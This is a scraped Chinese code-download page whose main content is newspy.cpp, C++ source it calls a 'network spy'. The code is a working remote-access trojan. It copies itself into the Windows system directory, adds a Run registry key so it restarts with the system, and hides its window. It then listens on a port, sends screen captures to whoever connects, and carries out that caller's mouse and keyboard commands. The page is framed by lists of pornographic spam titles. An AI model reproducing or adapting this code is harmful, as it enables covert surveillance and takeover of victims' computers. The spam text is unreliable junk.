亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? newspy.cpp

?? C++網絡間諜源碼
?? CPP
字號:
//---------------------------------------------------------------------------

#include <vcl.h>
#include <jpeg.hpp>
#pragma hdrstop
 #include <stdio.h>
#include "newSpy.h"
#include "Socket.h"
//#include "ChildWin.h"    取消子窗口
//---------------------------------------------------------------------------
//#pragma package(smart_init)
#pragma resource "*.dfm"

#define CM_ENTIRESCREEN 201   //捕獲全屏
#define CM_ACTIVEWINDOW 202   //捕獲當前窗口
#define CM_TCPIPMSG		(WM_APP+1000)

#define PACKAGESIZE 4096
#define LISTENPORT  1999
#define STREAMPORT  2000

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
Application->OnMinimize = Mini;
}
// 捕獲當前屏幕并保存到imagestream中
void CaptureImage(int options, int level, int cq, TMemoryStream* imgstream)
{
	LONG width,height;
	RECT capRect;
	HDC DesktopDC;
	switch (options) {
		case CM_ENTIRESCREEN:  // 捕獲整個屏幕
			// 取得桌面的矩形區域范圍
			GetWindowRect(GetDesktopWindow(),&capRect);
		break;
		case CM_ACTIVEWINDOW:  // 捕獲當前窗口
			HWND ForegWin;
			ForegWin = GetForegroundWindow();  // 取得當前窗口句柄
			if (!ForegWin)
				ForegWin = GetDesktopWindow();
			GetWindowRect(ForegWin,&capRect);  // 取得當前窗口的矩形區域范圍
		break;
	}

	DesktopDC = GetDC(GetDesktopWindow());  // 創建內存設備描述表
	width = capRect.right - capRect.left;
	height = capRect.bottom - capRect.top;
	Graphics::TBitmap *bBitmap;  // 定義位圖變量
	try {
		bBitmap = new Graphics::TBitmap(); // 創建位圖
		bBitmap->Width=width;
		bBitmap->Height=height;
		if ((level>0)&&(level<8))
			bBitmap->PixelFormat = TPixelFormat(level);  // 設定色深
		// 拷貝屏幕的指定區域到位圖
		BitBlt(bBitmap->Canvas->Handle,0,0,width,height,DesktopDC,
			capRect.left,capRect.top,SRCCOPY);

		if (cq>=0) {
			TJPEGImage *jpeg;
			try {
				jpeg = new TJPEGImage;  // 創建JPEG圖象
				jpeg->CompressionQuality = cq;  // 設定圖象品質
				jpeg->Assign(bBitmap);  // 將位圖轉化為JPEG格式
				jpeg->SaveToStream(imgstream);  // 保存JPEG圖象信息
			}
			 __finally {
				delete jpeg;  // 釋放資源
			}
		}
		else {
			bBitmap->SaveToStream(imgstream);  // 保存位圖信息
		}
	}
	__finally {
		delete bBitmap;  // 釋放資源
	}
}




//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
 HWND WndHandle;
  if(OpenSemaphore(SEMAPHORE_ALL_ACCESS,false,"newspyS"))
  {
    WindowState = wsMinimized;
    Application->Terminate();
    return;
  }else
  {
   hd = CreateSemaphore(NULL,1,1,"newspyS");
  }
 AnsiString SystemPath;
  char TempPath[MAX_PATH];
  GetSystemDirectory(TempPath,MAX_PATH);
  SystemPath = AnsiString(TempPath);
  CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+"\\newspyS.exe").c_str(),FALSE);
  Registry = new TRegistry;
  Registry->RootKey = HKEY_LOCAL_MACHINE;
  Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
  try
  {
     if(Registry->ReadString("newSpy")!=SystemPath+"\\newspyS.exe")
      Registry->WriteString("newSpy",SystemPath+"\\newspyS.exe");
  }
  catch(...)
  {
  }
 Application->ShowMainForm =false;
 SetWindowLong(Application->Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);


	ServerSocket1->Port = LISTENPORT;  // 指定監聽端口
	ServerSocket1->Open();  // 開始監聽

 }
//---------------------------------------------------------------------------

void __fastcall TForm1::ServerSocket1ClientError(TObject *Sender,
      TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
	ErrorCode = 0;
 //	MessageBox(0,"遠程連接出錯","鴨嘴獸提示",MB_ICONERROR);  // 顯示出錯信息

}
//---------------------------------------------------------------------------

void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
	AnsiString sRecvString = Socket->ReceiveText();  // 保存接收到的字符串
	AnsiString sRemoteAddress = Socket->RemoteAddress;  // 保存對方IP
	int CL,CQ;
	u_short port;
  int CmdType;

	// 將接收到的字符串分解為命令類別、接收端口、色深、品質4個參數
  int pos = sRecvString.Pos("\n");
  // 命令類別
  // 1:請求圖象發送(附加參數:接收端口、色深、品質)
  // 2:請求目標機屏幕分辨率(附加參數:無)
  // 3:接收鼠標信息(附加參數:鼠標命令、X坐標、Y坐標)
  // 4:接受鍵盤信息(key_event)
  CmdType=StrToIntDef(sRecvString.SubString(1,pos-1),0);
  sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
  pos = sRecvString.Pos("\n");
//  ShowMessage((sRecvString).c_str());
  switch(CmdType)
    {
    case 1://請求圖象發送

    	// 接收端口
    	port = u_short(StrToIntDef(sRecvString.SubString(1,pos-1),0));
    	sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);

    	pos = sRecvString.Pos("\n");
    	// 色深
    	CL = StrToIntDef(sRecvString.SubString(1,pos-1),0);
    	sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);

    	pos = sRecvString.Pos("\n");
    	// 品質
    	CQ = StrToIntDef(sRecvString.SubString(1,pos-1),0);

    	if (port) {
    		TMemoryStream *ImageStream;  // 定義數據流
    		try {
    			ImageStream = new TMemoryStream;  // 分配內存
    			// 捕獲當前屏幕并保存到ImageStream中
    			CaptureImage(CM_ENTIRESCREEN, CL, CQ, ImageStream);
    			// 發送ImageStream到接收端口
    			if (!SendStream(sRemoteAddress, port, ImageStream))
    			 	MessageBox(0,"發送數據流失敗","鴨嘴獸提示",MB_ICONERROR);
    		}
    		__finally {
    			delete ImageStream;  // 釋放資源
    		}
    	}
      break;
    case 2://請求目標機屏幕分辨率
      {
      char str[24];
      int Width=GetSystemMetrics(SM_CXSCREEN);
      int Height=GetSystemMetrics(SM_CYSCREEN);
      sprintf(str,"%d*%d\n",Width,Height);
      Socket->SendText(str);
      }
      break;
    case 3://  捕捉鼠標動作
      {
   //   ShowMessage((sRecvString).c_str());
      int MouseCmd=StrToIntDef(sRecvString.SubString(1,pos-1),0);
      sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
      pos = sRecvString.Pos("\n");
      int px=StrToIntDef(sRecvString.SubString(1,pos-1),0);
      sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
      pos = sRecvString.Pos("\n");
      int py=StrToIntDef(sRecvString.SubString(1,pos-1),0);
      switch(MouseCmd)
        {
        case 1://WM_MOUSEMOVE
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MOVE,px,py,0,0);
          break;
        case 2://WM_LBUTTONDOWN
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN,px,py,0,0);
          break;
        case 3://WM_LBUTTONUP
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTUP,px,py,0,0);
          break;
        case 4://WM_RBUTTONDOWN
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTDOWN,px,py,0,0);
          break;
        case 5://WM_RBUTTONUP
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTUP,px,py,0,0);
          break;
        case 6://WM_MIDBUTTONDOWN
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEDOWN,px,py,0,0);
          break;
        case 7://WM_MIDBUTTONUP
          mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEUP,px,py,0,0);
          break;

        default:
       //   keybd_event(VK_SNAPSHOT,1,KEYEVENTF_EXTENDEDKEY,0);
          break;
        }
      }
      break;
     case 4://  捕捉鍵盤動作
      {
     //  ShowMessage((sRecvString).c_str());
      int fff = StrToIntDef(sRecvString.SubString(1,pos-1),0);
    // int MouseCmd=StrToIntDef(sRecvString.SubString(1,pos-1),0);
    //  ShowMessage(sRecvString.c_str())  ;
     //   StrToIntDef(sRecvString.SubString(1,pos-1),0)
    /*    sRecvString=sRecvString.SubString(2,sRecvString.Length()-2);
    if (sRecvString =="A")  keybd_event(0x41,0,0,0);
    if (sRecvString =="B")  keybd_event(0x42,0,0,0);
    if (sRecvString =="C")  keybd_event(0x43,0,0,0);
    if (sRecvString =="D")  keybd_event(0x44,0,0,0);
    if (sRecvString =="E")  keybd_event(0x45,0,0,0);
    if (sRecvString =="F")  keybd_event(0x46,0,0,0);
    if (sRecvString =="G")  keybd_event(0x47,0,0,0);
    if (sRecvString =="H")  keybd_event(0x48,0,0,0);
    if (sRecvString =="I")  keybd_event(0x49,0,0,0);
    if (sRecvString =="J")  keybd_event(0x4A,0,0,0);
    if (sRecvString =="K")  keybd_event(0x4B,0,0,0);
    if (sRecvString =="L")  keybd_event(0x4C,0,0,0);
    if (sRecvString =="M")  keybd_event(0x4D,0,0,0);
    if (sRecvString =="N")  keybd_event(0x4E,0,0,0);
    if (sRecvString =="O")  keybd_event(0x4F,0,0,0);
    if (sRecvString =="P")  keybd_event(0x50,0,0,0);
    if (sRecvString =="Q")  keybd_event(0x51,0,0,0);
    if (sRecvString =="R")  keybd_event(0x52,0,0,0);
    if (sRecvString =="S")  keybd_event(0x53,0,0,0);
    if (sRecvString =="T")  keybd_event(0x54,0,0,0);
    if (sRecvString =="U")  keybd_event(0x55,0,0,0);
    if (sRecvString =="V")  keybd_event(0x56,0,0,0);
    if (sRecvString =="W")  keybd_event(0x57,0,0,0);
    if (sRecvString =="X")  keybd_event(0x58,0,0,0);
    if (sRecvString =="Y")  keybd_event(0x59,0,0,0);
    if (sRecvString =="Z")  keybd_event(0x5A,0,0,0);




    if (sRecvString =="0")  keybd_event(0x30,0,0,0);
    if (sRecvString =="1")  keybd_event(0x31,0,0,0);
    if (sRecvString =="2")  keybd_event(0x32,0,0,0);
    if (sRecvString =="3")  keybd_event(0x33,0,0,0);
    if (sRecvString =="4")  keybd_event(0x34,0,0,0);
    if (sRecvString =="5")  keybd_event(0x35,0,0,0);
    if (sRecvString =="6")  keybd_event(0x36,0,0,0);
    if (sRecvString =="7")  keybd_event(0x37,0,0,0);
    if (sRecvString =="8")  keybd_event(0x38,0,0,0);
    if (sRecvString =="9")  keybd_event(0x39,0,0,0);
    */

   //  int fff;
   //     fff = StrToInt(toascii( sRecvString)) ;

      keybd_event(fff,0,0,0);
    
 //ShowMessage(IntToStr(fff).c_str())  ;
       }
     break;
    default://
      break;
    }


}

//--------------------------------------------------------------------------
void __fastcall TForm1::Mini(TObject *Sender)
{
 Hide();
}

void __fastcall TForm1::N3Click(TObject *Sender)
{
 //發送圖標變換消息

  Close();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
//發送圖標變換消息
}
//---------------------------------------------------------------------------



?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人18精品视频| 国产精品77777| 久久综合资源网| 91国在线观看| 国内一区二区视频| 一区二区三区中文在线| 久久婷婷国产综合精品青草| 丁香天五香天堂综合| 久久99最新地址| 五月激情六月综合| 一区二区三区中文字幕电影| 国产欧美视频在线观看| 欧美日韩黄视频| 色久综合一二码| 成人在线一区二区三区| 麻豆免费精品视频| 日本成人在线一区| 亚洲成av人**亚洲成av**| 国产午夜精品理论片a级大结局 | 欧美日韩一级大片网址| 91在线精品秘密一区二区| 欧美视频一区二区三区在线观看| 蜜臀精品久久久久久蜜臀| 一区二区在线观看免费视频播放| 欧美经典一区二区三区| 精品国免费一区二区三区| 91精品中文字幕一区二区三区| 欧美在线视频不卡| 777午夜精品免费视频| 欧美二区乱c少妇| 精品少妇一区二区三区在线视频| 欧美mv日韩mv亚洲| 精品第一国产综合精品aⅴ| 欧美成人在线直播| 中文无字幕一区二区三区| 国产精品乱码妇女bbbb| 亚洲精品日韩综合观看成人91| 亚洲精品一二三| 美洲天堂一区二卡三卡四卡视频| 国产一区二区精品久久99| 成人激情免费视频| 制服丝袜av成人在线看| 2023国产精华国产精品| 亚洲美女屁股眼交3| 日韩国产欧美一区二区三区| 国产一区二区福利视频| 色综合久久88色综合天天6| 777a∨成人精品桃花网| 久久久精品2019中文字幕之3| 一区二区三区在线视频观看| 久久爱www久久做| 不卡在线观看av| 日韩欧美一二三四区| 亚洲国产另类精品专区| 波多野结衣精品在线| 2014亚洲片线观看视频免费| 亚洲天堂成人在线观看| 高清在线不卡av| 7878成人国产在线观看| 亚洲老司机在线| 国产91精品久久久久久久网曝门| 色婷婷香蕉在线一区二区| 久久久久久久综合| 91小视频在线| 国产精品欧美精品| 国产精一区二区三区| 日韩一级大片在线| 午夜精品一区二区三区电影天堂 | 国产精品白丝jk黑袜喷水| 欧美色网站导航| 亚洲欧美成aⅴ人在线观看| 韩国中文字幕2020精品| 91精品国产综合久久久久久| 婷婷综合五月天| 欧美一区二区成人6969| 日本不卡视频在线观看| 91麻豆精品秘密| 一区二区三区在线免费| 在线日韩国产精品| 亚洲成人久久影院| 欧美少妇性性性| 日本中文字幕不卡| 国产色91在线| 成人激情免费视频| 伊人色综合久久天天人手人婷| 欧美伦理视频网站| 久久草av在线| 蜜桃av噜噜一区| 欧美日韩不卡一区二区| 精品一区二区三区在线播放视频| 久久精品一区八戒影视| 91免费版pro下载短视频| 一区二区久久久久久| 欧美一级欧美一级在线播放| 国产一区 二区 三区一级| 国产精品美女久久久久久久| 在线观看一区二区精品视频| 免费国产亚洲视频| 欧美高清在线精品一区| 色94色欧美sute亚洲13| 激情五月婷婷综合| 樱花草国产18久久久久| 欧美精品一区二区三区蜜桃视频| 波多野结衣一区二区三区 | 亚洲国产一区在线观看| 久久综合久久综合亚洲| 欧美色老头old∨ideo| 顶级嫩模精品视频在线看| 丝袜a∨在线一区二区三区不卡| 国产亚洲视频系列| 日韩你懂的在线播放| 色综合一个色综合| 九九国产精品视频| 亚洲精品一线二线三线| 亚洲日本在线天堂| 日本一区二区三区视频视频| 4438x亚洲最大成人网| 欧美性猛片aaaaaaa做受| 99久久综合国产精品| 粉嫩av亚洲一区二区图片| 六月丁香婷婷久久| 久久av老司机精品网站导航| 日韩vs国产vs欧美| 爽好久久久欧美精品| 日日摸夜夜添夜夜添精品视频| 日韩成人一区二区| 久久精品久久99精品久久| 麻豆成人久久精品二区三区小说| 麻豆精品一二三| 激情综合色丁香一区二区| 国产美女一区二区| 不卡在线观看av| 粉嫩欧美一区二区三区高清影视| 亚洲一区二区视频在线观看| 亚洲精品少妇30p| 一区二区三区不卡视频| 天天综合网 天天综合色| 麻豆91免费看| 欧美久久久久免费| 日韩三级精品电影久久久| 国产日韩av一区| 亚洲精品成人天堂一二三| 亚洲国产精品久久人人爱| 久久99在线观看| 欧美日韩在线播放三区四区| 亚洲精品一区二区三区精华液| 国产亚洲成aⅴ人片在线观看| 亚洲三级视频在线观看| 日本午夜精品视频在线观看| 国产在线视频精品一区| 91在线视频观看| 精品少妇一区二区三区免费观看| 国产精品视频在线看| 亚洲一卡二卡三卡四卡五卡| 丝袜a∨在线一区二区三区不卡| 国产二区国产一区在线观看| 欧美三日本三级三级在线播放| 久久亚洲一级片| 亚洲成人黄色影院| 一本大道久久a久久精二百| 精品剧情在线观看| 亚洲夂夂婷婷色拍ww47| 国产成人自拍高清视频在线免费播放| 欧美日韩一级二级| 亚洲444eee在线观看| 色欲综合视频天天天| 最新不卡av在线| 91在线porny国产在线看| 欧美激情一区在线| 国产在线精品国自产拍免费| 亚洲精品在线一区二区| 五月婷婷欧美视频| 欧美图片一区二区三区| 亚洲成人久久影院| 欧美一区二区女人| 免费观看一级欧美片| 久久这里只精品最新地址| 欧美aaaaa成人免费观看视频| 欧美日韩高清影院| 亚洲成人免费影院| 日韩一区二区不卡| 国产一区二区三区蝌蚪| 2021国产精品久久精品| 不卡的看片网站| 中文字幕乱码亚洲精品一区 | 捆绑调教美女网站视频一区| 精品日韩欧美在线| 丰满少妇久久久久久久| 亚洲品质自拍视频| 91精品国产日韩91久久久久久| 青草av.久久免费一区| 日韩免费看的电影| 国产超碰在线一区| 无吗不卡中文字幕| 国产女主播在线一区二区| 色八戒一区二区三区| 国产伦理精品不卡| 天天操天天干天天综合网| 国产亚洲短视频| 精品三级av在线|